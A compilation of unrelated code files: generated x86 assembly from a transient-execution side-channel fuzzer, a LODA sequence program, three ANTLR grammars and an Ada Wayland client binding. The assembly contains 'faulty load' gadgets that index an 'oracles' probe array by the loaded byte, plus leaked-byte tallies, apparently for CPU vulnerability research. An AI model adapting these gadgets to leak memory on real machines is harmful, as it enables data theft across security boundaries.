mov (%r15,%r10,1), %r10
pop %rdx
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r15
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_PSE', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_PSE', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_PSE', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 32, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
oeis/021/A021079.asm | neoneye/loda-programs | 11 | 86860 | <gh_stars>10-100
; A021079: Expansion of 1/((1-x)(1-2x)(1-4x)(1-7x)).
; Submitted by <NAME>
; 1,14,133,1086,8253,60438,433861,3080462,21737485,152860422,1072817109,7520900478,52691034397,369016181366,2583829064677,18089666698734,126639120006189,886519652765670,6205820820773365,43441478752116830,304093283293728061,2128664711175931734,14900699890719251973,104305086885002460366,730136358794921563213,5110957513964135413958,35776714607347820001301,250437050289830496858942,1753059544182397042282845,12271417577891114626802742,85899926119695145858394149,601299495135695399186826158
mov $1,1
mov $2,1
mov $3,2
lpb $0
sub $0,1
mul $1,7
mul $3,4
add $3,2
add $1,$3
mul $2,2
add $2,1
sub $1,$2
lpe
mov $0,$1
|
comments.g4 | TheWrightGuy/UDG_YHack_2019 | 0 | 6590 | grammar comments;
ID : [a-z]A-Z+[a-z0-9A-Z ]* ; // match lower-case identifiers
WS : [ \r\n]+ -> skip ; // skip spaces, tabs, newlines
//NC : [a-zA-Z]+;
PARAM : '\t@param';
NAME : '\t@name';
AUTHOR : '\t@author';
RET : '\t@beturns';
program: feature_list;
feature_list : feature || feature_list feature;
feature : (param||author||ret||name);
ret : RET ID;
param : PARAM ID; // match keyword hello followed by an identifier
name : NAME ID;
//author : AUTHOR NC NC;
author : AUTHOR ID
|
trabalho04/src/main/antlr4/com/mycompany/trabalho04/gramatica.g4 | caiosales35/LinguagemPortfolio | 0 | 5585 | <filename>trabalho04/src/main/antlr4/com/mycompany/trabalho04/gramatica.g4
grammar gramatica;
/* Iniciamos com palavras e simbolos reservados da linguagem; assim como
numeros inteiros/reais, condições para cadeias de
caracteres, comentarios, entre outros. */
/* Declarações apos a palavra "fragment" não geram token, são apenas de uso
interno da nossa gramatica */
/* Declarações seguidas da palavra skip, geram tokens que são descartados */
fragment
Letra: 'a'..'z'|'A'..'Z';
fragment
LetraMinuscula: 'a'..'z';
fragment
Digito: '0'..'9';
INFORMACOES: 'informacoes';
NOME: 'nome';
TELEFONE: 'telefone';
EMAIL: 'email';
HABILIDADES: 'habilidades';
PROJETOS: 'projetos';
MONTA_PORTFOLIO: 'monta_portfolio';
FIM_PORTFOLIO: 'fim_portfolio';
NUM_INT: ('0'..'9')+;
NUM_REAL: ('0'..'9')+ '.' ('0'..'9')+;
/* Habilidades devem iniciar com letra minuscula */
HABILIDADE: LetraMinuscula('_'|Letra|Digito)*;
/* Projetos devem iniciar com _ (caracter de sublinhado) */
PROJETO: '_'(Letra|Digito)*;
CADEIA: '"' (ESC_SEQ | ~('"' | '\\' | '\n' )*)'"';
ErroCadeiaNaoFechada: '"' (ESC_SEQ | ~('"' | '\\' )* '\n');
fragment
ESC_SEQ: '\\"';
ABREPAR: '(';
FECHAPAR: ')';
ABRECHAVE: '{';
FECHACHAVE: '}';
VIRGULA: ',';
ATRIUICAO: '<-';
ErroComent: '{' ~('\n')* '}}';
Coment: '{' ~('\n')* '}' -> skip;
WS: (' '|'\t'|'\r'|'\n') -> skip;
ErroComentNaoFechado: '{' ~('\n' | '}')*;
Erro: .;
/* Regras da gramatica */
/* Iniciamos declarando nossas informações; depois declaramos, de forma opcional,
nossas habilidades e projetos; entre 'monta_portfolio' e 'fim_portfolio' temos
o corpo do nosso programa. */
programa: informacoes (habilidades projetos)? 'monta_portfolio' corpo 'fim_portfolio' EOF;
/* Declaração das informações pessoais, sendo obrigatorio declarar ao menos uma. */
informacoes: 'informacoes' infos+=infosPessoais (',' infos+=infosPessoais)*;
/* Informações pessoais disponiveis para declaração. */
infosPessoais: 'Nome' | 'Telefone' | 'Email' | 'Site' | 'Linkedin' | 'Github';
/* As habilidades são uma lista de HABILIDADE, separados por virgula,
é necessario declarar ao menos uma habilidade. */
habilidades: 'habilidades' habs+=HABILIDADE (',' habs+=HABILIDADE)*;
/* Os projetos são uma lista de PROJETO, separados por virgula; é necessario
declarar ao menos um projeto. */
projetos: 'projetos' projs+=PROJETO (',' projs+=PROJETO)*;
/* Uma lista de comandos */
corpo: cmd*;
/* Podemos ter comando de atribuição ou comando de projetos */
cmd: cmdAtribuicao
| cmdProjetos;
/* No comando de atribuição, atribuimos (utilizando <-) uma cadeia nas opções
de informações pessoais. */
cmdAtribuicao: infosPessoais '<-' CADEIA;
/* No comando projetos (cmdProjetos), passamos uma CADEIA (descrição do nosso
projeto) e uma lista de HABILIDADE (separados por virgula) relacionadas ao projeto.
Ex: _p1("site institucional", html, css, javascript) */
cmdProjetos: PROJETO '(' CADEIA (',' HABILIDADE)* ')'; |
appendix/tjson.g4 | komsomolskinari/tenshin.js | 17 | 1529 | <reponame>komsomolskinari/tenshin.js<filename>appendix/tjson.g4
grammar tjson;
tjson: value;
pair: STRING ('=>' | ':') value;
obj: '%[' ( pair (',' pair)*)? ']';
array: '[' ( value (',' value)*)? ']';
value: STRING | obj | array;
STRING: STRINGD | STRINGS | SPSTRING;
STRINGD: '"' .? '"';
STRINGS: '\'' .? '\'';
SPSTRING: ' ' .+ ' '; |
Transynther/x86/_processed/NONE/_ht_st_zr_un_/i7-7700_9_0x48.log_21829_1544.asm | ljhsiun2/medusa | 9 | 1254 | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %r8
push %rax
push %rbx
push %rcx
lea addresses_WT_ht+0x1523c, %r8
nop
nop
nop
nop
dec %r13
mov (%r8), %eax
nop
nop
nop
nop
nop
and %rcx, %rcx
lea addresses_UC_ht+0x78bc, %r12
clflush (%r12)
nop
nop
nop
nop
nop
and $41751, %rbx
movb $0x61, (%r12)
and $13327, %r11
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r15
push %r8
push %rbp
push %rcx
push %rsi
// Store
lea addresses_D+0x75bc, %r8
nop
nop
nop
nop
nop
and %r14, %r14
movw $0x5152, (%r8)
nop
sub %rsi, %rsi
// Faulty Load
lea addresses_WT+0xa67c, %r14
nop
xor %rcx, %rcx
mov (%r14), %r12
lea oracles, %r14
and $0xff, %r12
shlq $12, %r12
mov (%r14,%r12,1), %r12
pop %rsi
pop %rcx
pop %rbp
pop %r8
pop %r15
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 5, 'size': 2, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 4, 'size': 4, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 5, 'size': 1, 'same': False, 'NT': False}}
{'53': 465, 'f0': 9731, '01': 79, '49': 1604, '3a': 1, '00': 39, '7c': 1, 'ff': 9909}
ff ff 49 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 49 ff f0 ff f0 ff f0 49 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 49 ff f0 ff f0 ff f0 49 ff f0 ff f0 ff f0 ff f0 ff f0 ff 01 ff f0 49 49 ff f0 ff f0 ff f0 ff f0 49 ff f0 ff f0 53 ff f0 ff f0 ff f0 49 ff f0 ff f0 53 ff f0 ff f0 ff f0 ff f0 ff f0 49 ff 49 ff f0 ff f0 ff f0 49 ff f0 ff 49 ff f0 ff f0 ff f0 ff f0 ff f0 53 ff f0 49 ff f0 49 ff 49 ff f0 ff f0 ff 49 ff f0 ff f0 ff f0 ff f0 ff f0 49 49 49 ff f0 ff f0 ff 49 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 53 49 ff f0 49 ff f0 49 ff f0 00 ff f0 ff f0 ff f0 ff f0 49 f0 ff f0 ff f0 49 ff f0 ff f0 ff f0 ff f0 ff f0 49 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 49 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 f0 ff f0 49 ff f0 49 ff f0 ff f0 ff f0 49 ff f0 ff f0 ff f0 ff f0 49 49 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 49 ff f0 49 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff 49 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 f0 ff f0 ff f0 ff f0 ff f0 ff f0 49 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 f0 ff f0 49 ff f0 ff f0 ff f0 ff f0 ff f0 ff 01 ff f0 ff f0 ff f0 ff f0 ff f0 49 ff f0 ff f0 49 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 f0 f0 ff f0 ff f0 ff f0 ff f0 49 ff f0 ff f0 ff f0 ff f0 ff f0 ff 49 ff f0 ff f0 49 ff 49 ff f0 ff f0 ff f0 ff f0 ff f0 49 ff f0 ff f0 ff f0 ff f0 ff f0 f0 ff f0 ff f0 ff f0 ff f0 ff f0 49 53 ff f0 ff f0 ff f0 ff f0 f0 53 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff 49 ff f0 49 ff f0 ff f0 49 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 53 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 49 ff f0 ff f0 49 ff f0 ff f0 ff f0 ff f0 49 ff f0 ff f0 53 ff f0 ff f0 ff f0 ff f0 ff f0 49 ff f0 ff f0 ff f0 49 ff f0 ff f0 ff f0 ff 49 49 ff f0 53 ff f0 ff f0 ff f0 ff f0 ff f0 f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 49 53 53 49 ff f0 f0 49 ff f0 ff f0 ff f0 ff f0 49 ff f0 53 49 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 53 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 49 ff f0 ff f0 ff f0 53 ff f0 ff 49 ff f0 ff f0 ff f0 ff f0 ff f0 49 ff f0 ff f0 ff f0 ff f0 53 ff f0 ff f0 ff f0 ff f0 49 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 f0 ff f0 ff f0 ff f0 ff f0 49 49 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 53 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 49 f0 ff f0 ff f0 ff f0 ff f0 49 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 49 53 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 49 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 f0 ff f0 ff f0 ff f0 ff f0 49 49 ff f0 49 ff f0 ff f0 ff f0 ff f0 49 ff f0 ff f0 ff f0 49 ff f0 ff f0 ff f0 ff 49 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 ff f0 53 ff f0 ff f0 ff 49 ff f0 ff f0
*/
|
wayland_client_ada/src/wayland-api.ads | onox/wayland-ada | 5 | 21790 | -- SPDX-License-Identifier: Apache-2.0
--
-- Copyright (c) 2018 - 2019 <NAME> <<EMAIL>>
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
with Interfaces.C.Strings;
-- This package was generated with:
--
-- gcc -fdump-ada-spec /usr/include/wayland-client-core.h
--
-- and then manually modified to make it a bit higher-level.
private package Wayland.API is
pragma Preelaborate;
pragma Linker_Options ("-lwayland-client");
type Proxy is limited private;
type Proxy_Ptr is access all Proxy
with Convention => C;
type Display_Ptr is new Proxy_Ptr;
type Interface_T;
type Interface_Ptr is access constant Interface_T;
type Interface_Ptr_Array is array (Positive range <>) of aliased Interface_Ptr;
type Message is limited record
Name : Interfaces.C.Strings.char_array_access;
Signature : Interfaces.C.Strings.char_array_access;
Types : access Interface_Ptr;
end record
with Convention => C_Pass_By_Copy;
type Message_Array is array (Natural range <>) of aliased Message
with Convention => C;
type Message_Array_Ptr is access constant Message_Array
with Size => Standard'Address_Size;
type Interface_T is limited record
Name : Interfaces.C.Strings.char_array_access;
Version : Interfaces.C.int;
Method_Count : Interfaces.C.int;
Methods : Message_Array_Ptr;
Event_Count : Interfaces.C.int;
Events : Message_Array_Ptr;
end record
with Convention => C_Pass_By_Copy;
-----------------------------------------------------------------------------
-- wl_proxy_create is not task-safe
-- See https://gitlab.freedesktop.org/wayland/wayland/-/issues/182
-- function Proxy_Create
-- (Factory : in out Proxy;
-- Interface : in out Interface) return access Proxy
-- with Import, Convention => C, External_Name => "wl_proxy_create";
-- function Proxy_Create_wrapper (Proxy : System.Address) return System.Address
-- with Import, Convention => C, External_Name => "wl_proxy_create_wrapper";
-- procedure Proxy_Wrapper_destroy (Proxy_Wrapper : System.Address)
-- with Import, Convention => C, External_Name => "wl_proxy_wrapper_destroy";
procedure Proxy_Marshal
(Object : in out Proxy;
Opcode : Unsigned_32)
with Import, Convention => C, External_Name => "wl_proxy_marshal";
procedure Proxy_Marshal
(Object : in out Proxy;
Opcode : Unsigned_32;
Arg_1 : Integer)
with Import, Convention => C, External_Name => "wl_proxy_marshal";
procedure Proxy_Marshal
(Object : in out Proxy;
Opcode : Unsigned_32;
Arg_1 : Unsigned_32)
with Import, Convention => C, External_Name => "wl_proxy_marshal";
procedure Proxy_Marshal
(Object : in out Proxy;
Opcode : Unsigned_32;
Arg_1 : Unsigned_32;
Arg_2 : Interfaces.C.Strings.chars_ptr)
with Import, Convention => C, External_Name => "wl_proxy_marshal";
procedure Proxy_Marshal
(Object : in out Proxy;
Opcode : Unsigned_32;
Arg_1 : Unsigned_32;
Arg_2 : Unsigned_32)
with Import, Convention => C, External_Name => "wl_proxy_marshal";
procedure Proxy_Marshal
(Object : in out Proxy;
Opcode : Unsigned_32;
Arg_1 : Interfaces.C.Strings.chars_ptr)
with Import, Convention => C, External_Name => "wl_proxy_marshal";
procedure Proxy_Marshal
(Object : in out Proxy;
Opcode : Unsigned_32;
Arg_1 : Interfaces.C.Strings.chars_ptr;
Arg_2 : File_Descriptor)
with Import, Convention => C, External_Name => "wl_proxy_marshal";
procedure Proxy_Marshal
(Object : in out Proxy;
Opcode : Unsigned_32;
Arg_1 : Integer;
Arg_2 : Integer)
with Import, Convention => C, External_Name => "wl_proxy_marshal";
procedure Proxy_Marshal
(Object : in out Proxy;
Opcode : Unsigned_32;
Arg_1 : Fixed;
Arg_2 : Fixed)
with Import, Convention => C, External_Name => "wl_proxy_marshal";
procedure Proxy_Marshal
(Object : in out Proxy;
Opcode : Unsigned_32;
Arg_1 : Proxy_Ptr)
with Import, Convention => C, External_Name => "wl_proxy_marshal";
procedure Proxy_Marshal
(Object : in out Proxy;
Opcode : Unsigned_32;
Arg_1 : Proxy_Ptr;
Arg_2 : Unsigned_32)
with Import, Convention => C, External_Name => "wl_proxy_marshal";
procedure Proxy_Marshal
(Object : in out Proxy;
Opcode : Unsigned_32;
Arg_1 : Proxy_Ptr;
Arg_2 : Unsigned_32;
Arg_3 : Unsigned_32)
with Import, Convention => C, External_Name => "wl_proxy_marshal";
procedure Proxy_Marshal
(Object : in out Proxy;
Opcode : Unsigned_32;
Arg_1 : Proxy_Ptr;
Arg_2 : Integer;
Arg_3 : Integer)
with Import, Convention => C, External_Name => "wl_proxy_marshal";
procedure Proxy_Marshal
(Object : in out Proxy;
Opcode : Unsigned_32;
Arg_1 : Proxy_Ptr;
Arg_2 : Unsigned_32;
Arg_3 : Integer;
Arg_4 : Integer)
with Import, Convention => C, External_Name => "wl_proxy_marshal";
procedure Proxy_Marshal
(Object : in out Proxy;
Opcode : Unsigned_32;
Arg_1 : Integer;
Arg_2 : Integer;
Arg_3 : Integer;
Arg_4 : Integer)
with Import, Convention => C, External_Name => "wl_proxy_marshal";
procedure Proxy_Marshal
(Object : in out Proxy;
Opcode : Unsigned_32;
Arg_1 : Fixed;
Arg_2 : Fixed;
Arg_3 : Fixed;
Arg_4 : Fixed)
with Import, Convention => C, External_Name => "wl_proxy_marshal";
procedure Proxy_Marshal
(Object : in out Proxy;
Opcode : Unsigned_32;
Arg_1 : Proxy_Ptr;
Arg_2 : Integer;
Arg_3 : Integer;
Arg_4 : Unsigned_32)
with Import, Convention => C, External_Name => "wl_proxy_marshal";
procedure Proxy_Marshal
(Object : in out Proxy;
Opcode : Unsigned_32;
Arg_1 : Proxy_Ptr;
Arg_2 : Proxy_Ptr;
Arg_3 : Proxy_Ptr;
Arg_4 : Unsigned_32)
with Import, Convention => C, External_Name => "wl_proxy_marshal";
procedure Proxy_Marshal
(Object : in out Proxy;
Opcode : Unsigned_32;
Arg_1 : Unsigned_32;
Arg_2 : Proxy_Ptr;
Arg_3 : Integer;
Arg_4 : Integer)
with Import, Convention => C, External_Name => "wl_proxy_marshal";
function Proxy_Marshal_Constructor
(Object : in out Proxy;
Opcode : Unsigned_32;
Subject : Interface_Ptr;
New_ID : Unsigned_32) return Proxy_Ptr
with Import, Convention => C, External_Name => "wl_proxy_marshal_constructor";
function Proxy_Marshal_Constructor
(Object : in out Proxy;
Opcode : Unsigned_32;
Subject : Interface_Ptr;
New_ID : Unsigned_32;
Offset : Integer;
Width : Integer;
Height : Integer;
Stride : Integer;
Format : Unsigned_32) return Proxy_Ptr
with Import, Convention => C, External_Name => "wl_proxy_marshal_constructor";
function Proxy_Marshal_Constructor
(Object : in out Proxy;
Opcode : Unsigned_32;
Subject : Interface_Ptr;
Offset : Proxy_Ptr;
New_ID : Unsigned_32) return Proxy_Ptr
with Import, Convention => C, External_Name => "wl_proxy_marshal_constructor";
function Proxy_Marshal_Constructor
(Object : in out Proxy;
Opcode : Unsigned_32;
Subject : Interface_Ptr;
New_ID : Unsigned_32;
Offset : Proxy_Ptr) return Proxy_Ptr
with Import, Convention => C, External_Name => "wl_proxy_marshal_constructor";
function Proxy_Marshal_Constructor
(Object : in out Proxy;
Opcode : Unsigned_32;
Subject : Interface_Ptr;
New_ID : Unsigned_32;
Arg_1 : File_Descriptor;
Arg_2 : Integer) return Proxy_Ptr
with Import, Convention => C, External_Name => "wl_proxy_marshal_constructor";
function Proxy_Marshal_Constructor
(Object : in out Proxy;
Opcode : Unsigned_32;
Subject : Interface_Ptr;
New_ID : Unsigned_32;
Arg_1 : Proxy_Ptr;
Arg_2 : Proxy_Ptr) return Proxy_Ptr
with Import, Convention => C, External_Name => "wl_proxy_marshal_constructor";
function Proxy_Marshal_Constructor
(Object : in out Proxy;
Opcode : Unsigned_32;
Subject : Interface_Ptr;
New_ID : Unsigned_32;
Arg_1 : Proxy_Ptr;
Arg_2 : Proxy_Ptr;
Arg_3 : Proxy_Ptr;
Arg_4 : Unsigned_32) return Proxy_Ptr
with Import, Convention => C, External_Name => "wl_proxy_marshal_constructor";
function Proxy_Marshal_Constructor_Versioned
(Object : in out Proxy;
Opcode : Unsigned_32;
Subject : Interface_Ptr;
New_ID_1 : Unsigned_32;
Name : Unsigned_32;
Iface_Name : Interfaces.C.Strings.char_array_access;
New_ID_2 : Unsigned_32;
Version : Unsigned_32) return Proxy_Ptr
with Import, Convention => C, External_Name => "wl_proxy_marshal_constructor_versioned";
-- procedure Proxy_Marshal_Array
-- (Object : in out Proxy;
-- Opcode : Unsigned_32;
-- Args : access wayland_util_h.wl_argument) -- TODO Array
-- with Import, Convention => C, External_Name => "wl_proxy_marshal_array";
-- function Proxy_Marshal_Array_Constructor
-- (Object : in out Proxy;
-- Opcode : Unsigned_32;
-- Args : access wayland_util_h.wl_argument;
-- Interface : in out Interface) return access Proxy
-- with Import, Convention => C, External_Name => "wl_proxy_marshal_array_constructor";
-- function Proxy_Marshal_Array_Constructor_Versioned
-- (Object : in out Proxy;
-- Opcode : Unsigned_32;
-- Args : access wayland_util_h.wl_argument;
-- Interface : in out Interface;
-- Version : Unsigned_32) return access Proxy
-- with Import, Convention => C, External_Name => "wl_proxy_marshal_array_constructor_versioned";
procedure Proxy_Destroy (Object : in out Proxy)
with Import, Convention => C, External_Name => "wl_proxy_destroy";
function Proxy_Add_Listener
(Object : in out Proxy;
Subject : Void_Ptr;
Data : Void_Ptr) return Interfaces.C.int
with Import, Convention => C, External_Name => "wl_proxy_add_listener";
-- Returns 0 on success, otherwise -1 on failure
-- function Proxy_Get_Listener (Object : in out Proxy) return Listener
-- with Import, Convention => C, External_Name => "wl_proxy_get_listener";
-- function Proxy_Add_Dispatcher
-- (Object : in out Proxy;
-- Dispatcher_Func : wayland_util_h.wl_dispatcher_func_t;
-- Dispatcher_Data : System.Address;
-- Data : System.Address) return int
-- with Import, Convention => C, External_Name => "wl_proxy_add_dispatcher";
procedure Proxy_Set_User_Data (Object : in out Proxy; User_Data : Void_Ptr)
with Import, Convention => C, External_Name => "wl_proxy_set_user_data";
function Proxy_Get_User_Data (Object : in out Proxy) return Void_Ptr
with Import, Convention => C, External_Name => "wl_proxy_get_user_data";
function Proxy_Get_Version (Object : in out Proxy) return Unsigned_32
with Import, Convention => C, External_Name => "wl_proxy_get_version";
function Proxy_Get_Id (Object : in out Proxy) return Unsigned_32
with Import, Convention => C, External_Name => "wl_proxy_get_id";
-- function Proxy_Get_Class (Object : in out Proxy) return Interfaces.C.Strings.chars_ptr
-- with Import, Convention => C, External_Name => "wl_proxy_get_class";
-----------------------------------------------------------------------------
-- Connection Handling --
-----------------------------------------------------------------------------
function Display_Connect (Name : Interfaces.C.Strings.chars_ptr) return Display_Ptr
with Import, Convention => C, External_Name => "wl_display_connect";
-- function Display_Connect_To_FD (FD : int) return Display_Ptr
-- with Import, Convention => C, External_Name => "wl_display_connect_to_fd";
procedure Display_Disconnect (Object : Display_Ptr)
with Import, Convention => C, External_Name => "wl_display_disconnect";
function Display_Get_File_Descriptor (Object : Display_Ptr) return File_Descriptor
with Import, Convention => C, External_Name => "wl_display_get_fd";
-- function Display_Get_Error (Object : Display_Ptr) return Integer
-- with Import, Convention => C, External_Name => "wl_display_get_error";
-- function Display_Get_Protocol_Error
-- (Object : Display_Ptr;
-- Interface_V : out Interface_Ptr;
-- ID : out Unsigned_32) return Unsigned_32
-- with Import, Convention => C, External_Name => "wl_display_get_protocol_error";
-- procedure Log_Set_Handler_Client (Arg1 : Wayland_Util_H.WL_Log_Func_T)
-- with Import, Convention => C, External_Name => "wl_log_set_handler_client";
function Display_Flush (Object : Display_Ptr) return Integer
with Import, Convention => C, External_Name => "wl_display_flush";
-----------------------------------------------------------------------------
-- Default Event Queue --
-----------------------------------------------------------------------------
function Display_Dispatch (Object : Display_Ptr) return Integer
with Import, Convention => C, External_Name => "wl_display_dispatch";
function Display_Dispatch_Pending (Object : Display_Ptr) return Integer
with Import, Convention => C, External_Name => "wl_display_dispatch_pending";
function Display_Roundtrip (Object : Display_Ptr) return Integer
with Import, Convention => C, External_Name => "wl_display_roundtrip";
function Display_Prepare_Read (Object : Display_Ptr) return Integer
with Import, Convention => C, External_Name => "wl_display_prepare_read";
-- Returns 0 on success or -1 if event queue was not empty
procedure Display_Cancel_Read (Object : Display_Ptr)
with Import, Convention => C, External_Name => "wl_display_cancel_read";
function Display_Read_Events (Object : Display_Ptr) return Integer
with Import, Convention => C, External_Name => "wl_display_read_events";
-----------------------------------------------------------------------------
-- Event Queue --
-----------------------------------------------------------------------------
